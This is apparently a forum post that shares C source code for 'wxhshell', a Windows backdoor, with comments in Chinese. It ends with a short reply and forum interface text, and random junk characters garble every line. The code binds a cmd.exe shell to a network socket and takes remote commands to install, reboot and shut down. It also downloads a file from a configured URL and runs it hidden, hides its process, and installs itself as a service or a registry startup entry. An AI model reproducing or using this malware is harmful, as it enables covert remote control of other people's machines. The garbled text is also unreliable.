  if(DownloadFile(cmd,wsh)) nTz( {q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZgxpHo  
  else HB}iT1.`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )79F"ltz h  
  } =K9-  
  else { FF30 VlJ  
/I0}(;^y  
    switch(cmd[0]) { %nj{eT  
  <\?dPRw2>  
  // 帮助 z s[zB#  
  case '?': { I$I',x5Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #2qv"ntW  
    break; 8fQXif\z  
  } =o4McV}  
  // 安装 s&6/fa  
  case 'i': { G}'\  
    if(Install()) nD{{/_"'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Q{MF- EKj  
    else XC[bEp$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <+ckE 2j  
    break; 5Ja[p~^L  
    } G2FD'Sf  
  // 卸载 2L7ogyrU/A  
  case 'r': { =UZm4=T  
    if(Uninstall()) OJ)XJL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cvtz&dH  
    else C.hRL4+;Zm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JE[J}-2  
    break; X@@7Qk  
    } (.9H1aO46|  
  // 显示 wxhshell 所在路径 jp#/]>(9Z  
  case 'p': { fZ  pUnc  
    char svExeFile[MAX_PATH]; B..> *Xb  
    strcpy(svExeFile,"\n\r"); *6]_ 6xO  
      strcat(svExeFile,ExeFile); [vcSt5R=  
        send(wsh,svExeFile,strlen(svExeFile),0); uSNlI78D  
    break; 8Y~\:3&1<  
    } ~G8haN4  
  // 重启 V(6Ql j7  
  case 'b': { {o8K&XU#&t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !]!J"!xg*  
    if(Boot(REBOOT)) 1h&_Q}DM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bN.U2%~!  
    else { O BZ:C!  
    closesocket(wsh); SHe547X1  
    ExitThread(0); 4 _Idf  
    } 6Zq7O\  
    break; | <- t  
    } biAa&   
  // 关机 w)%/Me3o  
  case 'd': { F ss@/-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5`1p ?  
    if(Boot(SHUTDOWN)) vA0f4W 8+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rc`zt7hbJ  
    else { z6bIv }  
    closesocket(wsh); #|acRZ9 }  
    ExitThread(0); ~{npG  
    } $R/@%U)-o  
    break; WD?COUEox  
    } 4Pr@<S"U  
  // 获取shell p`oHF  5  
  case 's': { &uG@I=}TIY  
    CmdShell(wsh); cmbl"Pqy1  
    closesocket(wsh); F!ra$5u  
    ExitThread(0); @i@f@.t  
    break; 87:V-*8  
  } 3>buZ6vh  
  // 退出 4>te>[  
  case 'x': { j79$/ Ol  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C: a</Sl  
    CloseIt(wsh); \%]!/&>{6  
    break; ya/pn qS  
    } 0tP{K  
  // 离开 @z7$1pl}  
  case 'q': { .jbT+hhM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qJ<Ghd`8v  
    closesocket(wsh); ZTK)N  
    WSACleanup(); ^h"F\vIpV  
    exit(1); ]Kp -2KW  
    break; 8jfEvwY  
        } "AHuq%j  
  } cW\Y1=Gv|  
  } &%`0&y  
Xa/]} B  
  // 提示信息 6YYDp&nqEj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aUEnQ%YU"  
} !_j6\r=  
  } 1_G5uHO  
%scQP{%aD  
  return; _:?b -44  
} jMQ7^(9-  
#%SF2PB;  
// shell模块句柄 $O^U"  
int CmdShell(SOCKET sock) t[b@P<F  
{ {DbWk>[DkG  
STARTUPINFO si; -owap-Va  
ZeroMemory(&si,sizeof(si)); n_46;lD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p$@l,4@{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rln@9muXA  
PROCESS_INFORMATION ProcessInfo; "!_,N@\t  
char cmdline[]="cmd"; rd4mAX6@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '| bHu  
  return 0; td\'BV  
} I8{ohFFo  
hwd{^  
// 自身启动模式 ='\E+*[$I  
int StartFromService(void) .*g^ i`  
{ *|&&3&7  
typedef struct o9AwW  
{ ~M LBO  
  DWORD ExitStatus; cg'z:_l  
  DWORD PebBaseAddress; AWz|HF#-  
  DWORD AffinityMask; yVbyw(gS  
  DWORD BasePriority; 38gEto#q  
  ULONG UniqueProcessId; nSeb?|$D6  
  ULONG InheritedFromUniqueProcessId; tz`T#9  
}   PROCESS_BASIC_INFORMATION; }}w Z  
.+dego:  
PROCNTQSIP NtQueryInformationProcess; =z +iI;  
H(F9&6}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &=hkB9 ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7xjihl3  
n% ={!WD  
  HANDLE             hProcess; fIm=^}?fwK  
  PROCESS_BASIC_INFORMATION pbi; W3-g]#\?  
}-15^2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JzuP A I  
  if(NULL == hInst ) return 0; 5r(Y,m"?  
&L4>w.b"N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H4JwgQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yDXW#q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pJPP6Be<  
[p&2k&.XYe  
  if (!NtQueryInformationProcess) return 0; :tcqb2p  
^U0)iz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :ej`]yK |  
  if(!hProcess) return 0; e[*%tx H  
fGMuml?[ e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g%T`6dvT  
c-bTf$6}  
  CloseHandle(hProcess); R:t  
/H<tv5mX J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wBIhpiJX0  
if(hProcess==NULL) return 0; SbN.z  
- <M'h  
HMODULE hMod; ck K9@RQ  
char procName[255]; XCQPVSh  
unsigned long cbNeeded; l6k.`1.In  
N2e]S8-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P~7p~ke  
uT 2w2A;  
  CloseHandle(hProcess); `Uy'YfYF  
OIdoe0JR:O  
if(strstr(procName,"services")) return 1; // 以服务启动 H|/U0;s  
_/)HAw?k  
  return 0; // 注册表启动  _V_GdQ  
} F@u>5e^6  
hxx`f-#=  
// 主模块 oiNt'HQ2/  
int StartWxhshell(LPSTR lpCmdLine) dEG1[QG  
{ TC^fyxq  
  SOCKET wsl; T +~ _D  
BOOL val=TRUE; A N 'L- E  
  int port=0; L(w?.)E  
  struct sockaddr_in door; =>,X)+O  
 NncII5z  
  if(wscfg.ws_autoins) Install(); &)#bdt[  
&& E)  
port=atoi(lpCmdLine); +tvWp>T+  
=X}s^KbI{  
if(port<=0) port=wscfg.ws_port; TOXZl3 s5#  
fT  
  WSADATA data; &VfMv'%x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >XK |jPK  
|&0zAP"\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =%oQIx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rhA>;9\  
  door.sin_family = AF_INET; "%]vSr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fVx_]5jM  
  door.sin_port = htons(port); `CF.-Vl3J#  
qhqqCVrsW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l F*x\AT  
closesocket(wsl); D!nx%%q  
return 1; JWo).  
} \2NT7^H#  
N(= \S:  
  if(listen(wsl,2) == INVALID_SOCKET) { 19 <Lgr  
closesocket(wsl); +N:=|u.g  
return 1; eL{6;.C  
} 5;Q9Z1 `  
  Wxhshell(wsl); (|U|>@  
  WSACleanup(); dId&tTMmC  
`sPH7^R  
return 0; J!@`tR-  
:zLeS-  
} u:GDM   
6R+EG{`  
// 以NT服务方式启动 \1mTKw)S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r0/o{Y|l6  
{ qjI.Sr70  
DWORD   status = 0; VAet!H+]  
  DWORD   specificError = 0xfffffff; yy#4DYht  
APM!xX=N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )2mvW1M=7;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -/3D0`R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CwQRHi  
  serviceStatus.dwWin32ExitCode     = 0; _8'z"w F  
  serviceStatus.dwServiceSpecificExitCode = 0; _W^{,*p  
  serviceStatus.dwCheckPoint       = 0; 0;avWa)Q  
  serviceStatus.dwWaitHint       = 0; wwVg'V;  
>[a&,gS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fe$OPl~  
  if (hServiceStatusHandle==0) return; Ch,%xs.)G  
m(eR Wx&pZ  
status = GetLastError(); a?P$8NLr  
  if (status!=NO_ERROR) Ze-MB0w  
{ B96"|v$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ] R-<v&O  
    serviceStatus.dwCheckPoint       = 0; X;%*+xQ^  
    serviceStatus.dwWaitHint       = 0; V.^Z)iNf^  
    serviceStatus.dwWin32ExitCode     = status; uPQrDr5  
    serviceStatus.dwServiceSpecificExitCode = specificError; h&j9'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )R@M~d-o  
    return; I!;vy/r  
  } YqNI:znm-  
)h,-zAnZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j^qI~|#  
  serviceStatus.dwCheckPoint       = 0; ".:]? Lvt  
  serviceStatus.dwWaitHint       = 0; U Rb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [&h%T;!Qii  
} g&`[r6B  
AAPfU_: ^  
// 处理NT服务事件,比如:启动、停止 2"C,u V@F!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BFH=cs  
{ ]#t5e>o|  
switch(fdwControl) p4M7BK:nf  
{ 0D:eP``  
case SERVICE_CONTROL_STOP: L qdz qq  
  serviceStatus.dwWin32ExitCode = 0; "?SR+;Y:q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UV j1nom   
  serviceStatus.dwCheckPoint   = 0; -P[bA0N,  
  serviceStatus.dwWaitHint     = 0; "pW@[2Dkx/  
  { TSHH=`cx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z&Ao;=Gp1  
  } A!.* eIV|  
  return; xA {1XS}  
case SERVICE_CONTROL_PAUSE: )!jX$bK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &p6^    
  break; +U= !svE  
case SERVICE_CONTROL_CONTINUE: RuuXDuu:VL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zg~6  
  break; #;~dA  
case SERVICE_CONTROL_INTERROGATE: B#Z-kFn@  
  break; ]n$&|@  
}; 9_I#{ ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QLum=YB  
} n9x&Ws;  
PHHX)xK  
// 标准应用程序主函数 r,-9 ]?i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %5|DdpES  
{ JBxizJBP  
SE<hZLd"  
// 获取操作系统版本 8j<+ ' R  
OsIsNt=GetOsVer(); 9o|#R&0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QQIU5  
:dkBr@u96O  
  // 从命令行安装 k>mqKzT0$+  
  if(strpbrk(lpCmdLine,"iI")) Install(); CKgbb4;<m[  
9a;8^?Ld%S  
  // 下载执行文件 F\( 7B#  
if(wscfg.ws_downexe) { RRBBz7:~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PML +$  
  WinExec(wscfg.ws_filenam,SW_HIDE); j+7ok 5J#  
} ?)V}_%fVv  
yNk E>  
if(!OsIsNt) { kFsq23Ne  
// 如果时win9x,隐藏进程并且设置为注册表启动 U**v'%{s  
HideProc(); 4C[n@ p2  
StartWxhshell(lpCmdLine); hDc)\vzr  
} `p{,C`g,R  
else N>3X!K  
  if(StartFromService()) 6A \Z221E  
  // 以服务方式启动 5|Or,8r(C  
  StartServiceCtrlDispatcher(DispatchTable); g7),si*  
else 6K 6uB ~  
  // 普通方式启动 KXTx{R  
  StartWxhshell(lpCmdLine); h<ULp &g  
Qpaan  
return 0; qtLXdSc  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五